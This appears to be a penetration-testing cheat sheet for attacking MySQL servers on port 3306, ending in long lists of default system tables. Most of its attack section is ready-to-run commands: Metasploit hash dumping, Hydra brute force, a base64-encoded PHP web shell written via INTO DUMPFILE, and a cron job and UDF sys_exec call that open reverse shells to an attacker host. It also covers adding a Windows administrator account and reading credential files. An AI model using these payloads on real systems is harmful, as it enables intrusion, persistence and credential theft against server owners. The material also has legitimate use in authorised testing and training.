# MySql - Port 3306

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## Basic info

**MySQL** can be described as an open source **Relational Database Management System (RDBMS)** that is available at no cost. It operates on the **Structured Query Language (SQL)**, enabling the management and manipulation of databases.

**Default port:** 3306

### How to connect? <a href="#connect" id="connect"></a>

#### For local: <a href="#local" id="local"></a>

```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```

#### For remote <a href="#remote" id="remote"></a>

```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```

***

### Enumeration <a href="#external-enumeration" id="external-enumeration"></a>

```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>

#msfconsole
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```

{% hint style="warning" %}
Some of the enumeration actions require valid credentials
{% endhint %}

***

## Write any binary data

Once you've used `CONVERT(unhex(...), BINARY)` or `CONVERT(from_base64(...), BINARY)` to generate binary data in MySQL, you can leverage it to **write files directly to the filesystem** using `INTO DUMPFILE`. This is especially powerful when you have `FILE` privileges in MySQL. For example, to drop a **simple PHP web shell**, you could run:

```sql
SELECT CONVERT(from_base64('PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+'), BINARY)
INTO DUMPFILE '/var/www/html/shell.php';
```

That writes a PHP shell accessible at `http://target/shell.php?cmd=id`.

You can also write binary payloads (e.g., `.so` or `.dll`) like this:

```sql
SELECT CONVERT(unhex('7f454c46020101000000000000000000...'), BINARY)
INTO DUMPFILE '/tmp/libexploit.so';
```

Or write a malicious cron job:

```sql
SELECT "* * * * * root bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'\n"
INTO DUMPFILE '/etc/cron.d/pwned';
```

These commands let you pivot from database access to full system compromise, persistence, or remote code execution, **all without a traditional shell**.

***

### **MySQL commands** <a href="#mysql-commands" id="mysql-commands"></a>

```bash
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```

```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```

#### MySQL Permissions Enumeration <a href="#mysql-permissions-enumeration" id="mysql-permissions-enumeration"></a>

```sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```

***

### **Credential Discovery**

If you didn’t get lucky with anonymous login, time to brute.

#### **🧾 Default Credentials**

Common ones to try:

* `root:root`
* `root:toor`
* `admin:admin`

#### **💣 Brute Force with Hydra**

```bash
hydra -L users.txt -P passwords.txt mysql://<target_ip>
```

#### **⚔️ Medusa Alternative**

```bash
medusa -h <target_ip> -u root -P passlist.txt -M mysql
```

***

### **Reading Arbitrary Files via MySQL Client Misuse**

One lesser-known but powerful technique involves abusing the **`LOAD DATA LOCAL INFILE`** feature in MySQL/MariaDB. This command, when used with the `LOCAL` keyword, instructs the **client (not the server)** to read a local file and send it to the database server.

If an attacker can **trick a victim's MySQL client** (like the `mysql` CLI or an app with misconfigured DB connections) into connecting to a **malicious server**, that rogue server can request the client to read and send **any local file** — leading to arbitrary file disclosure.

#### 🔍 Vulnerable Command Example

```sql
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n';
```

Note the keyword `LOCAL` — this is what triggers the client-side file read. If `LOCAL` is omitted, and MySQL is hardened, you may see this error:

```sql
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```

This behavior can be exploited by running a **rogue MySQL server** and luring clients into connecting to it (e.g., through phishing, SSRF, or misconfigured dev tools). You can find a working proof of concept here:\
👉 [Rogue MySQL Server PoC](https://github.com/allyshka/Rogue-MySql-Server)

**Further reading:**

* Full attack walkthrough: [Seebug.org Whitepaper](https://paper.seebug.org/1113/)
* Simplified overview: [RussianSecurity Expert](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)

***

### **Privilege Escalation in MySQL**

#### 🔎 Check MySQL Service User

It’s especially dangerous if MySQL is running as **root**, as that can lead to full system compromise. Check who runs MySQL:

```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```

#### ⚙️ Dangerous MySQL Configs to Look For

In `/etc/mysql/my.cnf` or `mysqld.cnf`, pay attention to:

* `user`: Account running MySQL (should NOT be root)
* `secure_file_priv`: If unset, file import/export is unrestricted
* `admin_address`: Exposed MySQL interfaces
* `debug`, `sql_warnings`: Might expose sensitive info in logs

***

### **🔐 Extracting User Credentials and Privileges**

```sql
-- Current session user
SELECT USER();

-- List all users with privileges
SELECT user, password, create_priv, insert_priv, update_priv, alter_priv, delete_priv, drop_priv FROM mysql.user;

-- Full dump with command-line
mysql -u root -p -e "SELECT * FROM mysql.user;"
```

#### 👤 Create a New Privileged User

```sql
CREATE USER 'test' IDENTIFIED BY 'test';
GRANT SELECT, CREATE, DROP, UPDATE, DELETE, INSERT ON *.* TO 'test'@'%' IDENTIFIED BY 'mysql' WITH GRANT OPTION;
```

#### 💻 Get a Local Shell via MySQL

```sql
\! sh
```

Useful in cases where your client has interactive capabilities.

***

### **🧬 Privilege Escalation via Malicious Shared Library (UDF Injection)**

If MySQL is running as root or a privileged user, you can execute OS commands by injecting a **User Defined Function (UDF)** from a compiled `.so` or `.dll`.

#### 📦 Compile UDF Library on Target (Linux)

```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```

#### 🧪 Inject Library via SQL

```sql
USE mysql;
CREATE TABLE npn(line BLOB);
INSERT INTO npn VALUES (LOAD_FILE('/tmp/lib_mysqludf_sys.so'));
SHOW VARIABLES LIKE '%plugin%';

-- Example path:
SELECT * FROM npn INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';

-- Create function
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';

-- Run commands
SELECT sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```

#### 🪟 Windows Variant

```sql
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn VALUES (LOAD_FILE('C://temp//lib_mysqludf_sys.dll'));
SHOW VARIABLES LIKE '%plugin%';
SELECT * FROM npn INTO DUMPFILE 'C://Windows//System32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```

***

### **🔑 Extracting MySQL Passwords from the Filesystem**

If you have file system access, here are some critical files to check:

#### 📂 `/etc/mysql/debian.cnf`

Contains plain-text login credentials for `debian-sys-maint`:

```bash
cat /etc/mysql/debian.cnf
```

#### 💾 `/var/lib/mysql/mysql/user.MYD`

Holds raw MySQL user hashes — extract like this:

```bash
grep -oaE "[-_.a-zA-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```

This can give you credentials even without database access.

***

## Enabling logging <a href="#enabling-logging" id="enabling-logging"></a>

You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting the following lines:

![](https://book.hacktricks.wiki/en/images/image%20\(899\).png)

## Useful files <a href="#useful-files" id="useful-files"></a>

Configuration Files

* windows \*
  * config.ini
  * my.ini
    * windows\my.ini
    * winnt\my.ini
  * \<InstDir>/mysql/data/
  * unix
    * my.cnf
      * /etc/my.cnf
      * /etc/mysql/my.cnf
      * /var/lib/mysql/my.cnf
      * \~/.my.cnf
      * /etc/my.cnf
* Command History
  * \~/.mysql.history
* Log Files
  * connections.log
  * update.log
  * common.log

***

### **Default MySQL Databases and Tables**

When MySQL or MariaDB is freshly installed, it comes with a set of **default databases and system tables** that play critical roles in authentication, configuration, and user management. The most important of these is the **`mysql`** database, which stores core internal data used by the MySQL server. Inside it, you'll find sensitive tables like:

* `mysql.user` – Stores usernames, password hashes, and global privileges
* `mysql.db` – Defines database-level privileges
* `mysql.tables_priv`, `columns_priv` – Fine-grained access control over specific tables or columns
* `mysql.procs_priv` – Procedure-specific privileges
* `mysql.roles_mapping` – Role-based access configuration (in newer versions)

These tables are often the first target during **post-exploitation**. By querying or dumping them, an attacker can extract valid user accounts, escalate privileges, or even inject backdoor users. For example:

```sql
SELECT user, host, authentication_string FROM mysql.user;
```

Accessing these default tables is essential for both **privilege auditing** and **credential extraction**, and manipulating them can allow the attacker to **create new admin accounts**, **escalate permissions**, or **disable security controls**. Always monitor access to the `mysql` database and restrict usage to only highly trusted administrators.

{% tabs %}
{% tab title="information\_schema" %}
ALL\_PLUGINS

APPLICABLE\_ROLES

CHARACTER\_SETS

CHECK\_CONSTRAINTS

COLLATIONS

COLLATION\_CHARACTER\_SET\_APPLICABILITY

COLUMNS

COLUMN\_PRIVILEGES

ENABLED\_ROLES

ENGINES

EVENTS

FILES

GLOBAL\_STATUS

GLOBAL\_VARIABLES

KEY\_COLUMN\_USAGE

KEY\_CACHES

OPTIMIZER\_TRACE

PARAMETERS

PARTITIONS

PLUGINS

PROCESSLIST

PROFILING

REFERENTIAL\_CONSTRAINTS

ROUTINES

SCHEMATA

SCHEMA\_PRIVILEGES

SESSION\_STATUS

SESSION\_VARIABLES

STATISTICS

SYSTEM\_VARIABLES

TABLES

TABLESPACES

TABLE\_CONSTRAINTS

TABLE\_PRIVILEGES

TRIGGERS

USER\_PRIVILEGES

VIEWS

INNODB\_LOCKS

INNODB\_TRX

INNODB\_SYS\_DATAFILES

INNODB\_FT\_CONFIG

INNODB\_SYS\_VIRTUAL

INNODB\_CMP

INNODB\_FT\_BEING\_DELETED

INNODB\_CMP\_RESET

INNODB\_CMP\_PER\_INDEX

INNODB\_CMPMEM\_RESET

INNODB\_FT\_DELETED

INNODB\_BUFFER\_PAGE\_LRU

INNODB\_LOCK\_WAITS

INNODB\_TEMP\_TABLE\_INFO

INNODB\_SYS\_INDEXES

INNODB\_SYS\_TABLES

INNODB\_SYS\_FIELDS

INNODB\_CMP\_PER\_INDEX\_RESET

INNODB\_BUFFER\_PAGE

INNODB\_FT\_DEFAULT\_STOPWORD

INNODB\_FT\_INDEX\_TABLE

INNODB\_FT\_INDEX\_CACHE

INNODB\_SYS\_TABLESPACES

INNODB\_METRICS

INNODB\_SYS\_FOREIGN\_COLS

INNODB\_CMPMEM

INNODB\_BUFFER\_POOL\_STATS

INNODB\_SYS\_COLUMNS

INNODB\_SYS\_FOREIGN

INNODB\_SYS\_TABLESTATS

GEOMETRY\_COLUMNS

SPATIAL\_REF\_SYS

CLIENT\_STATISTICS

INDEX\_STATISTICS

USER\_STATISTICS

INNODB\_MUTEXES

TABLE\_STATISTICS

INNODB\_TABLESPACES\_ENCRYPTION

user\_variables

INNODB\_TABLESPACES\_SCRUBBING

INNODB\_SYS\_SEMAPHORE\_WAITS
{% endtab %}

{% tab title="Mysql" %}
columns\_priv

column\_stats

db

engine\_cost

event

func

general\_log

gtid\_executed

gtid\_slave\_pos

help\_category

help\_keyword

help\_relation

help\_topic

host

index\_stats

innodb\_index\_stats

innodb\_table\_stats

ndb\_binlog\_index

plugin

proc

procs\_priv

proxies\_priv

roles\_mapping

server\_cost

servers

slave\_master\_info

slave\_relay\_log\_info

slave\_worker\_info

slow\_log

tables\_priv

table\_stats

time\_zone

time\_zone\_leap\_second

time\_zone\_name

time\_zone\_transition

time\_zone\_transition\_type

transaction\_registry

user
{% endtab %}

{% tab title="performance\_schema" %}
accounts

cond\_instances

events\_stages\_current

events\_stages\_history

events\_stages\_history\_long

events\_stages\_summary\_by\_account\_by\_event\_name

events\_stages\_summary\_by\_host\_by\_event\_name

events\_stages\_summary\_by\_thread\_by\_event\_name

events\_stages\_summary\_by\_user\_by\_event\_name

events\_stages\_summary\_global\_by\_event\_name

events\_statements\_current

events\_statements\_history

events\_statements\_history\_long

events\_statements\_summary\_by\_account\_by\_event\_name

events\_statements\_summary\_by\_digest

events\_statements\_summary\_by\_host\_by\_event\_name

events\_statements\_summary\_by\_program

events\_statements\_summary\_by\_thread\_by\_event\_name

events\_statements\_summary\_by\_user\_by\_event\_name

events\_statements\_summary\_global\_by\_event\_name

events\_transactions\_current

events\_transactions\_history

events\_transactions\_history\_long

events\_transactions\_summary\_by\_account\_by\_event\_name

events\_transactions\_summary\_by\_host\_by\_event\_name

events\_transactions\_summary\_by\_thread\_by\_event\_name

events\_transactions\_summary\_by\_user\_by\_event\_name

events\_transactions\_summary\_global\_by\_event\_name

events\_waits\_current

events\_waits\_history

events\_waits\_history\_long

events\_waits\_summary\_by\_account\_by\_event\_name

events\_waits\_summary\_by\_host\_by\_event\_name

events\_waits\_summary\_by\_instance

events\_waits\_summary\_by\_thread\_by\_event\_name

events\_waits\_summary\_by\_user\_by\_event\_name

events\_waits\_summary\_global\_by\_event\_name

file\_instances

file\_summary\_by\_event\_name

file\_summary\_by\_instance

global\_status

global\_variables

host\_cache

hosts

memory\_summary\_by\_account\_by\_event\_name

memory\_summary\_by\_host\_by\_event\_name

memory\_summary\_by\_thread\_by\_event\_name

memory\_summary\_by\_user\_by\_event\_name

memory\_summary\_global\_by\_event\_name

metadata\_locks

mutex\_instances

objects\_summary\_global\_by\_type

performance\_timers

prepared\_statements\_instances

replication\_applier\_configuration

replication\_applier\_status

replication\_applier\_status\_by\_coordinator

replication\_applier\_status\_by\_worker

replication\_connection\_configuration

replication\_connection\_status

replication\_group\_member\_stats

replication\_group\_members

rwlock\_instances

session\_account\_connect\_attrs

session\_connect\_attrs

session\_status

session\_variables

setup\_actors

setup\_consumers

setup\_instruments

setup\_objects

setup\_timers

socket\_instances

socket\_summary\_by\_event\_name

socket\_summary\_by\_instance

status\_by\_account

status\_by\_host

status\_by\_thread

status\_by\_user

table\_handles

table\_io\_waits\_summary\_by\_index\_usage

table\_io\_waits\_summary\_by\_table

table\_lock\_waits\_summary\_by\_table

threads

user\_variables\_by\_thread

users

variables\_by\_thread
{% endtab %}

{% tab title="Sys" %}
host\_summary

host\_summary\_by\_file\_io

host\_summary\_by\_file\_io\_type

host\_summary\_by\_stages

host\_summary\_by\_statement\_latency

host\_summary\_by\_statement\_type

innodb\_buffer\_stats\_by\_schema

innodb\_buffer\_stats\_by\_table

innodb\_lock\_waits

io\_by\_thread\_by\_latency

io\_global\_by\_file\_by\_bytes

io\_global\_by\_file\_by\_latency

io\_global\_by\_wait\_by\_bytes

io\_global\_by\_wait\_by\_latency

latest\_file\_io

memory\_by\_host\_by\_current\_bytes

memory\_by\_thread\_by\_current\_bytes

memory\_by\_user\_by\_current\_bytes

memory\_global\_by\_current\_bytes

memory\_global\_total

metrics

processlist

ps\_check\_lost\_instrumentation

schema\_auto\_increment\_columns

schema\_index\_statistics

schema\_object\_overview

schema\_redundant\_indexes

schema\_table\_lock\_waits

schema\_table\_statistics

schema\_table\_statistics\_with\_buffer

schema\_tables\_with\_full\_table\_scans

schema\_unused\_indexes

session

session\_ssl\_status

statement\_analysis

statements\_with\_errors\_or\_warnings

statements\_with\_full\_table\_scans

statements\_with\_runtimes\_in\_95th\_percentile

statements\_with\_sorting

statements\_with\_temp\_tables

sys\_config

user\_summary

user\_summary\_by\_file\_io

user\_summary\_by\_file\_io\_type

user\_summary\_by\_stages

user\_summary\_by\_statement\_latency

user\_summary\_by\_statement\_type

version

wait\_classes\_global\_by\_avg\_latency

wait\_classes\_global\_by\_latency

waits\_by\_host\_by\_latency

waits\_by\_user\_by\_latency

waits\_global\_by\_latency

x$host\_summary

x$host\_summary\_by\_file\_io

x$host\_summary\_by\_file\_io\_type

x$host\_summary\_by\_stages

x$host\_summary\_by\_statement\_latency

x$host\_summary\_by\_statement\_type

x$innodb\_buffer\_stats\_by\_schema

x$innodb\_buffer\_stats\_by\_table

x$innodb\_lock\_waits

x$io\_by\_thread\_by\_latency

x$io\_global\_by\_file\_by\_bytes

x$io\_global\_by\_file\_by\_latency

x$io\_global\_by\_wait\_by\_bytes

x$io\_global\_by\_wait\_by\_latency

x$latest\_file\_io

x$memory\_by\_host\_by\_current\_bytes

x$memory\_by\_thread\_by\_current\_bytes

x$memory\_by\_user\_by\_current\_bytes

x$memory\_global\_by\_current\_bytes

x$memory\_global\_total

x$processlist

x$ps\_digest\_95th\_percentile\_by\_avg\_us

x$ps\_digest\_avg\_latency\_distribution

x$ps\_schema\_table\_statistics\_io

x$schema\_flattened\_keys

x$schema\_index\_statistics

x$schema\_table\_lock\_waits

x$schema\_table\_statistics

x$schema\_table\_statistics\_with\_buffer

x$schema\_tables\_with\_full\_table\_scans

x$session

x$statement\_analysis

x$statements\_with\_errors\_or\_warnings

x$statements\_with\_full\_table\_scans

x$statements\_with\_runtimes\_in\_95th\_percentile

x$statements\_with\_sorting

x$statements\_with\_temp\_tables

x$user\_summary

x$user\_summary\_by\_file\_io

x$user\_summary\_by\_file\_io\_type

x$user\_summary\_by\_stages

x$user\_summary\_by\_statement\_latency

x$user\_summary\_by\_statement\_type

x$wait\_classes\_global\_by\_avg\_latency

x$wait\_classes\_global\_by\_latency

x$waits\_by\_host\_by\_latency

x$waits\_by\_user\_by\_latency

x$waits\_global\_by\_latency
{% endtab %}
{% endtabs %}

***

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***

{% hint style="success" %}
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